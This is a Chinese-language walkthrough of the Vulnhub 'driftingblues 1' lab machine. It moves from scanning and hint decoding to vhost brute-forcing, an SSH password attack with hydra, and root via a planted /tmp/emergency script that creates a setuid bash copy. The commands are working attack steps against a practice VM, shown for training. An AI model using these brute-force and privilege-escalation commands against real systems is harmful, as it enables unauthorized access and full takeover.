【渗透测试】Vulnhub driftingblues 1

一.渗透环境环境准备

靶机描述

Vulnhub靶机下载:

https://www.vulnhub.com/entry/driftingblues-1,625/

1
2
攻击机ip:192.168.243.128(kali)
靶机ip:192.168.243.131 (driftingblues)

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式 目标:获取目标靶机root目录下的flag

开始渗透

二. 信息收集

主机扫描

1
arp-scan -l

ed7f0a86a0d3fc28.png

端口扫描

使用nmap获取目标靶机开放的端口

1
nmap -sS -sV -sC -p- 192.168.243.131 -oN nmap_full_scan

eb1e51c0ba7c9f57.png

当前扫描揭示了 SSH(22)HTTP(80) 两个开放服务

漏洞扫描和目录扫描

1
nmap --script=vuln -p21,80,55077 192.168.243.131

672e643966cbce8d.png

d9aadd5bbbaaeb63.png

1
dirsearch  -u 192.168.243.131

b8752c280d1199c6.png

综上可以看到有漏洞

80 端口(Apache/2.4.18)开放,存在 Slowloris DoS 漏洞(CVE-2007-6750)、可能的 CSRF 漏洞、可能的 SQL 注入漏洞(/js/ 目录参数)及 /css/、/img/、/js/ 目录列表信息泄露,21 和 55077 端口关闭。

三.渗透测试

网页测试

我们去访问

1
http://192.168.243.131/

204ef0cefb2c94c6.png

我们查看源码(CTRL+U):其他办法也可以,我觉得这个比较快

ecc51721962194d1.png

1
2
3
 L25vdGVmb3JraW5nZmlzaC50eHQ= 
给他base64解码得到
/noteforkingfish.txt

我们访问看看

1
http://192.168.243.131/noteforkingfish.txt

faa196aa80a558ef.png

一堆ook 加密我们找网站解密去

1
https://www.splitbrain.org/services/ook

把密码复制进去点击 Ook! to Text按钮

解密文本如下

faed21586fab88db.png

我们根据这个提示来结合首页的域名

c66531d0504e85c0.png

添加host

接下来我们去配置本地host: /etc/hosts

1
vim /etc/hosts

增加192.168.243.131 driftingblues.box这一项数据进去

7c5b93663bffcbca.png

在vim 中 插入(按键盘上‘i’字符)修改好后我们 按‘ESC’

之后shift +;(键盘上的)记得 要是英文输入法下

之后输入wq (退出并保存)

我们校验一下看有没有写进去

1
cat /etc/hosts

5ff8e05765382e11.png

爆破子域名

可以看出,已经写入了

但这个域名肯定不是要求的那个域名,我们去破解一下子域名,

使用 gobuster 爆破

1
./gobuster vhost -u driftingblues.box --wordlist /usr/share/wordlists/dirb/common.txt

这里我卡了好久,首先你要是 Gobuster v3.1.0 版本(建议去github 去下)最新版复现不出

1
https://github.com/OJ/gobuster/releases/download/v3.0.1/gobuster-linux-386.7z

不然你使用命令就 回显不对爆破不了子域名

这里我们弄好了这里是正常回显

02d8c089e7bc6601.png

回显 200(Status: 200)

成功得到子域名test.driftingblues.box,添加到hosts文件

还是和上面同样步骤

继续添加host

首先

1
vim /etc/hosts

进入后更改之后我们确认是否写入了

87c38530f14e2ace.png

这里其实最好reboot一下

访问子域名

接下来我们去访问http://test.driftingblues.box

22b1fcd6d4155404.png

使用命令扫描目录看看有什么漏洞文件

1
dirsearch  -u http://test.driftingblues.box

2362798b6e151d68.png

访问 /robots.txt 文件

feeeab613969f87c.png

发现一个文件:ssh_cred.txt 盲猜是ssh 连接密码

去看看

955a90ee08062bed.png

得到ssh密码

1
1mw4ckyyucky
  1. 密码修改规则
  • Sheryl 在密码末尾添加了一个 数字(0-9 中的某一个,共 10 种可能)。
  • 例如:1mw4ckyyucky01mw4ckyyucky1 …… 1mw4ckyyucky9

到此用户名和密码都有了,用户名为 eric(前面提醒好几次了),密码可能是

1
2
3
4
5
6
7
8
9
10
1mw4ckyyucky0
1mw4ckyyucky1
1mw4ckyyucky2
1mw4ckyyucky3
1mw4ckyyucky4
1mw4ckyyucky5
1mw4ckyyucky6
1mw4ckyyucky7
1mw4ckyyucky8
1mw4ckyyucky9

将上面保存为字典pass.txt,然后尝试暴力破解

1
hydra -l eric -P pass.txt ssh://192.168.243.131

6cf5719359f52fce.png

得到账户密码

1
2
login: eric
password: 1mw4ckyyucky6

SSH 连接

登陆 SSH 获取 shell

利用上面得到的账户密码登录ssh

1
ssh eric@192.168.243.131

7f92a36076dfd491.png

也是成功登录上了 (wuwuwu~~~)

四.提权过程

寻找 suid 程序

在 shell 中寻找 suid 程序:

1
find / -perm -u=s -type f 2>/dev/null

8f2951c962f6deef.png

flag1

第一个flag(彩蛋)

当前目录 user.txt

1
cat user.txt

ab021d02f057271a.png

tmp目录里面有

44251714d955dba5.png

backup.zip

去到目录

1
cd /
1
2
ls
cat backup.sh

7a6989143783368c.png

这里有调用过 backup.zip的痕迹

1
2
#having a backdoor would be nice
sudo /tmp/emergency

结合backup.sh脚本中最后一句,会sudo执行/tmp/emergency文件,而此时/tmp下没有这个文件,我们可以手工创建文件,并将eric用户加入sudo组

1
2
3
echo 'cp /bin/bash /tmp/getroot; chmod +s /tmp/getroot' > /tmp/emergency
chmod +x emergency
./getroot -p

00df6bc112451e39.png

提权成功

1
2
cd /root
cat *

flag2

c0c5e74dbc1c405d.png

总结:

本节通过主要靠信息收集,非常适合作为信息收集练习

这个靶机收获很多

添加host 解析

还有gobuster爆破子域名

后面的利用自动任务提权还不是很熟

备份文件路径还不熟悉

(刚开始打这个靶机 感觉很熟悉,找了下写的笔记,发现是去年写了一半复现不出了,卡在那个gobuster 爆破哪了 ,才发现是版本问题hhh)